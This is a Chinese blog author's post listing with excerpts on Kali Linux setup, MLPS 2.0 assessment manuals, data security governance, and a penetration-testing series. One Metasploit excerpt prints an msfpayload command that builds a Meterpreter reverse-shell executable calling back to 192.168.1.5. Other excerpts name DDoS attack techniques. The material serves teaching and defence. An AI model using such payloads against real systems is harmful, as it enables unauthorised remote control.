- 博客(568)
- 资源 (20)
- 收藏
- 关注
RSS订阅原创 kali ip dns 手工设置并联网通过
kali虚拟机连接网络设置/解决ping网站时域名解析错误/解决子网ip和子网掩码不一致/虚拟机如何连接外网，一共5个步骤，记录下。
2023-05-24 00:28:14
909
1
原创 等保2.0测评手册之Mysql
可以将本文mysql等保2测评手册直接用于工作中,整改工作内容：控制点，安全要求，要求解读，测评方法，预期结果或主要证据
2023-05-24 00:08:09
675
原创 等保2.0测评手册之终端设备
可以将本文终端设备等保2测评手册直接用于工作中,整改工作内容：控制点，安全要求，要求解读，测评方法，预期结果或主要证据
2023-05-23 07:52:38
369
原创 口令猜测与嗅探-渗透测试模拟环境(5)
本篇补充服务扫描与查点-渗透测试模拟环境(3)_luozhonghua2000的博客-CSDN博客使用的演示，阅读后有惊喜，可用在工作上。
2023-05-22 15:54:18
780
原创 服务扫描与查点-渗透测试模拟环境(3)
本篇将介绍服务扫描与查点渗透模拟环境下整理的各类收集方法、各类工具技术使用的演示，阅读后可用在工作上。很多网络服务是漏洞频发的高危对象，对网络上的特定服务进行扫描，往往能让我们少走弯路，增加渗透成功的几率。确定开放端口后，通常会对相应端口上所运行服务的信息进行更深入的挖掘，通常称为服务查点。
2023-05-22 10:59:08
515
原创 等保2.0测评手册之应用系统
可以将本文应用系统等保2测评手册直接用于工作中,整改工作内容：控制点，安全要求，要求解读，测评方法，预期结果或主要证据
2023-05-22 07:58:10
543
原创 主机探测与端口扫描-渗透测试模拟环境(2)
本篇将介绍主机探测与端口扫描渗透模拟环境下整理的各类收集方法、各类工具技术使用的演示，阅读后可用在工作上。
2023-05-21 20:23:34
473
原创 外围信息搜集-渗透测试模拟环境(1)
外围信息搜集属于情报搜集技术之一，本篇将介绍外围信息搜集的渗透模拟环境下整理的各类收集方法、各类工具技术使用的演示。
2023-05-21 12:37:25
907
原创 等保2.0测评手册之安全区域边界
可以将本文等保2.0测评手册之安全区域边界直接用于工作中,整改工作内容：控制点，安全要求，要求解读，测评方法，预期结果或主要证据
2023-05-21 09:11:40
1056
原创 渗透模拟环境配置和工具介绍-渗透测试模拟环境(0)
我们在渗透攻防环境搭建与攻防知识体系思维导图一文中有整体渗透环境设计和说明，但渗透环境攻击路径是什么、网络配置怎么配置，渗透环境的渗透工具是哪些、有什么作用并没有介绍，本篇将继续展开环境功能演示（环境配置步骤和验证相对较多），为模拟环境攻防系列打好基础。
2023-05-20 22:25:10
567
原创 等保2.0测评手册之安全计算环境
可以将本文安全计算环境等保2测评手册直接用于工作中,整改工作内容：控制点，安全要求，要求解读，测评方法，预期结果或主要证据
2023-05-20 17:38:06
1597
原创 数据(安全)治理面临的挑战和机遇
样，我们看到疫情这三年的大数据防控的确有效，也是促进数据应用商业化的可能，实际上，我们看到，原来的技术系统要改造成数据应用的工程是非常巨大的，从政策(法律法规本身bug)到实施，从数据造假到数据仿真，从数据结构到非结构化，从信息安全防护到基于深度学习的数据安全防护等等都可能推倒重来，本文将列出面临数据治理挑战问题是哪些，同时给出相关比较成功的数据治理商业案例
2023-05-19 20:55:43
713
原创 湖仓智能应用简论-数据驱动设计
一个营销平台，对接订单核心目的是为了基于客户的下单分析其消费偏好（渠道偏好、价格敏感度、产品偏好等），因此它不同于OMS这样的业务系统， 不做完整的订单生命周期管理，主要关注的订单状态有“已付款”，“已取消订单”，“退款成功”，而诸如“未支付”，“已发货”，“待确认收货”这样的中间状态则可以不用通知。围绕“客户”进行数字化营销的，这里所谓的客户你可以简单理解为企业营销的对象，在不同的渠道指代不同，如：线下的消费者，微信公众号的粉丝，电商平台的下单用户，小程序注册会员等等。Who：即参与这个事件的用户是谁。
2023-05-19 11:30:26
564
原创 数据治理已被人工智能取代
从逻辑上讲，数据治理目前国内的方式基本是原始作业的方式(基本是应试教育出来的“高材生”)，技术层面最多基于国外的几个深度学习框架弄点小水花或者没水花，如果不进行智能化改造或伪人工智能改造，投资和收益很可能不成正比。本文将讨论国内人工智能取代数据治理的空间或痛点
2023-05-18 23:14:00
336
原创 数据安全治理实践
主要讲的是数据安全治理的人才和条文法规的8个问题解决方法，本篇继续聊下，检测，评估，实践，如何落地及行业实践案例。本篇继续聊下数据安全治理的门道。数据治理与数据安全治理系列文章。这部分需要渗透测试参与弄出报告。某省政数局数据安全治理实践。数据安全治理如何落地。企业信息安全工作要点。
2023-05-18 12:00:23
321
原创 国内外数据安全治理框架介绍与分析
DGPC 框架提供了一种以隐私、机密性和合规为目标的数据安全治理框架，以数据生命周期和核心技术领域为重点关注点，基于威胁建模与风险评估的方法，对组织如何实施数据安全治理进行了概要阐述。DSMM 模型根据数据在组织业务场景中的数据生命周期安全要求与通用安全要求,定义了数据安全过程域体系，并在数据安全过程域体系中从组织建设、制度流程、技术工具以及人员能力四个方面构建了规范性的数据安全能力成熟度分级治理要求和评估方法，能够为组织建立和完善数据安全治理体系提供有益参考。数据治理与数据安全治理系列文章。
2023-05-17 22:06:46
913
原创 数据治理解决之道探讨
就拿数据安全板块来说，数据安全合规结合行业结合法规结合企业越深，专业人员充足(特别是数据安全分析设计人才)，开发出更多更智能的自动化的应用，减少人工干预，那么必然会将整个数据治理蓝图共同维护好。简单说明数据安全治理的简单落地设计，但真正要做好，要配合数据治理才行，数据治理他是包含数据安全治理的，这篇我们对数据治理痛点分析和讨论下与数据安全治理要如何配合解决。52.9%的机构没有建立数据治理相关的评价体系和考核机制，27.5%只在部分领域建立，数据治理评价体系和考核机制的建立任重道远。
2023-05-17 11:49:50
390
原创 数据安全治理流程设计
安全合规这里重点说明下，他包含的企业隐私数据，个人隐私数据，安全相关法规，比如隐私法，网络信息安全，等保等法律法规。接下来，我们看看数据平台总体功能架构，从业务的角度，业务的应用就是业务数据治理，所以，一个高质量的数据平台，应该有。这里所说的数据治理实际是数据安全治理，属于数字安全内容板块之一，数字安全有数据安全防护，他们是什么关系呢。开发流程，包含需求分析，设计，采集数据合规，数据开发与利用质量设计，数据治理设计。既然是治理，肯定是使用，也就是数据有了使用的价值才会考虑他们的治理。
2023-05-16 18:14:47
715
1
原创 Metasploit基础和实操-渗透测试察打一体(7)
msfcli还支持启动各种渗透攻击和辅助模块，这为框架软件测试和开发新的渗透攻击代码提供了非常便捷的方式，在你明确知道你需要使用哪个渗透攻击模块和所需要的配置参数时，它将是高效率实施渗透攻击的绝妙工具。监听器是 Metasploit 中用来等待连入网络连接的组件，举例来说，在目标主机被渗透攻击之后，它可能会通过互联网回连到攻击主机上，而监听器组件在攻击主机上等待被渗透攻击的系统来连接，并负责处理这些网络连接。尽管 Metasploit 框架在不断的发展和更新中，它的命令集合还是保持着相对的稳定。
2023-05-16 12:53:59
435
原创 Metasploit命令参考列表-渗透测试察打一体(6)
msfpayload windows/eterpreter/reverse tcp LHOST=192.168.15 LPORT=443 X>payload.exe创建一个Meterpreter 的 reverse tcp 攻击载荷，回连到 192.168.1.5 的443 端口，将其保存为名为 payloadexe的Windows 可执行程序。exploit -h列出exploit 命令的帮助信息。与上面生成同样的攻击载荷，但导出成原始格式的文件，该文件将在后面的MSFencode 中使用。
2023-05-15 22:39:45
186
原创 ZeNmap&Nmap使用说明-渗透测试察打一体(5)
如果你是在扫描窗口，你不仅能看到在特定主机上哪些端口是打开的，而且能知道那些主机上运行着哪些应用。扫描结果会列出该服务器的IP地址、该服务器运行的操作系统，以及该主机上运行的Web应用。尽管有些纯粹主义者会说Nmap的命令行版本才是最好的版本，因为速度快、使用自由但Zenmap也提供了一些Nmap中没有提供的特有功能，比如生成之后可用于其他报告系统中扫描结果的图形化展示。Zenmap中的配置允许渗透人员指定要进行什么类型的扫描，包含什么样的选项。如果你的目标是个极其确定的主机，进攻性扫描才可能不被注意到。
2023-05-15 19:36:58
943
原创 企业信息安全工作要点
涉及的工作内容大纲有点多，也可以弹性，持续关注，后续在本专栏，渗透测试专栏和数字安全专栏细化落地，需要提醒，仅靠买硬件的简单做法的企业主可能是冤大头，时代变了。员工上网行为规范(P2P敏感信息)口令安全标准、管理规范信息安全等级与保密制度重要数据的加密、存储、传输规范铁卷。开发编码安全规范(Java/PHPIASPiASPnet/Python/JavaScript偏码规范。WEB应用层面的安全扫描Xss/Csrf/Sgl/inject。IDC边界端口/内部互访的ACL开放审批流程。
2023-05-15 09:48:24
336
原创 DDOS攻击方法和治理
有重点说明低代价和高代价的防御总结，这篇主要提高DDOS认知看如何攻击和如何治理,从而为DDOS防火墙开发做准备或购买服务做准备，提供咨询商采购或企业主采购价值参考。慢速Post攻击(post请求发送http body，设置content-length值很大，缓慢发送)误区1 ( 增加带宽/防火墙 ) 误区2《 云端和本地代替，云端擅长流量型本地擅长组合型 )Sockstress攻击(慢速攻击，发送Tcp南口位，服务器会等待)SSL洪水攻击(发送伪造的SSL请求，SSL Squeeze工具)
2023-05-15 08:33:45
198
原创 移动App漏洞检测平台建设内容
app漏洞检测平台包含：Android App漏洞检测系统，ios App漏洞检测系统，web后台管理中心 本文围绕这三个系统展开内容介绍，了解全貌业务功能内容就更明白什么样的牛鼻app配什么样的市场地位，同时提高对安全的系统化认知之一。检测应用文件保护状态。HTTP/HTTPS流量----》WEB漏洞检测。URLIP提取->内网信息泄露/ssh信息泄露。manifest特征。XcodeGhost病毒。应用动态生成文件拉取。iBackDoor后门。选择检测内容，规则进行扫描榜单读取与批量下载。
2023-05-14 22:47:12
552
原创 安全咨询新专栏说明
安全咨询行业的，立场第一，必须要有爱国情怀，独立抽出来就是方便在单独重点提出来，开篇就是总结之前有多少内容针对安全咨询行业的，独立成专栏将系统化，提供系统化服务。安全咨询独立成系列文章进行针对性的深入，方便对安全行业商务方案，售前方案，安全行业方案，安全咨询架构人士和安全行业专业人士查阅。必须是企业信息系统在信息，网络，数据安全方面符合和服务中国的市场，法规，实施方案的专家。同时回答下，什么是安全咨询，什么是信息安全咨询等价值和作用。l 安全咨询必须有活动，安全咨询绝对不是以活动为目的的。
2023-05-14 13:22:37
390
原创 kali整体版本更新方法，为啥更新？
2，打开kali，输入sudo vim /etc/apt/sources.list（加上sudo，以root权限来运行命令符，不然后面修改更新源的时候无法在只读模式下保存）玩过kali都知道，如果不更新版本，那么安装某个软件总是有很多依赖版本问题，解决起来的确麻烦，这篇文章彻底解决这些问题。⑥输入sudo apt --fix-broken install 解决依赖关系缺少问题；⑤输入sudo apt-get dist-upgrade 更新系统；④输入sudo apt-get update 更新软件；
2023-05-14 11:58:20
3215
2
原创 DNS侦察DNS目标识别技术-渗透测试察打一体(3)
它会查询DNS服务器。早期的DNS攻击会从授权DNS服务器上传送一个区域文件(Zone File)，这样透测试人员就可以查看完整的区域文件内容来找出可能的目标。Fierce的设计初衷就是侦察工具，这样有了IP地址，你就可以使用那些需要用到IP地址的工具了，比如Nmap。Fierce是一款IP、域名互查的DNS工具，可进行域传送漏洞检测、字典爆破子域名、反查IP段、反查指定域名上下一段IP，属于一款半轻量级的。使用Fierce个重要的原因是选定目标时只用很少的网络流量，这样的好处是避免被发现。
2023-05-13 22:20:04
181
原创 ICMP侦察技术fping使用-渗透测试察打一体(2)
这个工具在每个现代操作系统中几乎都有。对那些最重要的目标来说，ping和traceroute命令很多情况下都是禁用的，而过多地使用这些服务可能会触发网络安全系统中的警报。有了这些安全事件，你的目标肯定会安装和部署针对你的渗透测试的防御措施。它还允许你读取一个写有多个主机名或IP地址的文件，然后对这些主机发送ICMP的echo请求数据包。如果你得到的是超时，那么要么是你的ICMP请求被拦截了，要么是没有目标主机收到你的请求。-i n (在毫秒的时间内) 发送 ping 数据包之间的间隔 (默认为 25)
2023-05-13 21:04:17
512
原创 Kali HTTrack演示-渗透测试察打一体(1)
HTTrack是一个免费并易于使用的线下浏览器工具，全称是HTTrack Website Copier for Windows，它能够让你从互联网上下载指定的网站进行线下浏览(离线浏览)，也可以用来收集信息(甚至有网站使用隐藏的密码文件)，一些仿真度极高的伪网站（为了骗取用户密码），也是使用类似工具做的。//4：镜像在这个url下所有的链接。//5：测试在这个url下的链接。1，首先准备一个自己的演示系统。//3：只get某种特定的文件。//2：用向导完成镜像。//1：直接镜像站点。
2023-05-13 18:13:31
965
原创 Kali linux ssh Permission denied, please try again解决
为了通过 SSH 进入你的 Kali Linux 系统，你可以有两个不同的选择。第一个选择是创建一个新的非特权用户然后使用它的身份来登录。第二个选择，你可以以 root 用户访问 SSH。新装的kali 没有ssh 装上ssh后root用户禁止登录所以要修改ssh配置，下面就这个过程解决全部演示。kali linux 默认没有ssh,因此需要新装ssh服务。为了确保安全 shell 能够使用，在重启系统后使用。kali linux 默认ssh是禁止root登录的。
2023-05-13 17:25:39
2207
原创 渗透测试察打一体(0)
我们可以根据招聘Oracle开发人员的广告，问一些诸如“管理员可以远程工作吗”“他们如何访问那些系统”之类的问题来了解目标用的是什么硬件、Oracle的版本、现在和之前的管理员名字、现有的运维问题安全隐患，以及访问系统的途径。在目标网站的早期版本中，我们能找到一些感兴趣的信息，如目标不希望在当前网站版本中出现的早期组织结构框图、电话号码、客户情报、在特定文件中列出的系统信息(如viewsource或/robotstxt)、早期的商业伙伴、在后续版本中修复的漏洞，以及其他的有用信息。这里有个客户提问的例子。
2023-05-13 15:54:33
920
原创 普通人忽略了社会机制会很难
比如：人与人游戏(把朋友搞得多多的，把敌人搞得少少的)，金融游戏(预留生存库存)，专业游戏(建立新的组合拳)，业务游戏(开源节流)，个人IP游戏(分享核心价值)，好奇心游戏(保持创新和学习)。我在这里说一次题外话，学历和专业是基础，也是必要的过程积累，普通人最重要的事就是在这个基础开始时候建立宏大的愿景，这个和以后的创业成功有很重要的基础作用。仔细预估自己暂时性的苦难是什么，分解下去完成，能保证自己正常生活就行，要加快加速建立自己的生存体系，我说的是体系，是包含极端环境下的生存体系。这个第三个要注意的事。
2023-05-13 02:09:00
682
原创 Kali E:Unable to locate package错误解决
默认的新装的kali 可能都会遇到这个安装报错E: Unable to locate package httrack问题，今天我记录下彻底解决过程和效果。渗透专题将出系列，高质量的严谨态度输出和分享，一撸到底搞定渗透测试及相关安全痛点问题，值得跟进学习提高，欢迎大家相互分享。第二步：在sources.list文件中添加以下内容，根据网络情况，耐心等待下载。这篇分享如何分析客户和写出高质量的客户所需的报告及相关客户关系经验。再次执行 apt-get install httrack 正常了。
2023-05-13 00:54:15
2009
原创 Kali工具集简介
这个类别中还有一些VoP重建工具。口Vulnerability Analysis(漏洞分析) 这个类别中的工具主要用来评测系统，找出漏洞通常，这些工具会针对前面用信息搜集侦察工具发现的系统来运行。口Hardware Hacking(硬件破解工具) 这类工具包含Android工具(可以划分为移动类)和Arduino工具(用来编程和控制其他小型电子设备)。Kali Linux还会包含其他一些工具，比如Web浏览器、修改Kali Linux在网络上呈现形式的工具的快速链接、搜索工具和其他一些有用的工具。
2023-05-12 13:27:18
1874
原创 kali Linux root密码修改
你可以使用它内置的工具去做一些会产生真实伤害的危险的事（你懂的），那将给你带来很多真实的麻烦。说了这么多，但是，Kali 对于一个专业用户来说，它是一个极好的工具。Kali Linux 封装了600多种工具，数量巨大，功能繁杂，可以参考官方工具列表 https://tools.kali.org/tools-listing ，在实际案例中，渗透测试人员会选择其中最适合的工具用于渗透测试。当然，如果你正好有兴趣学习关于安全的知识，你可以在某些受控环境中去使用 Kali，它可以教你学习很多的非常优秀的知识。
2023-05-12 11:04:58
1343
Professional JavaScript Frameworks: Prototype,YUI, ExtJS, Dojo and MooTools
2015-05-09
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人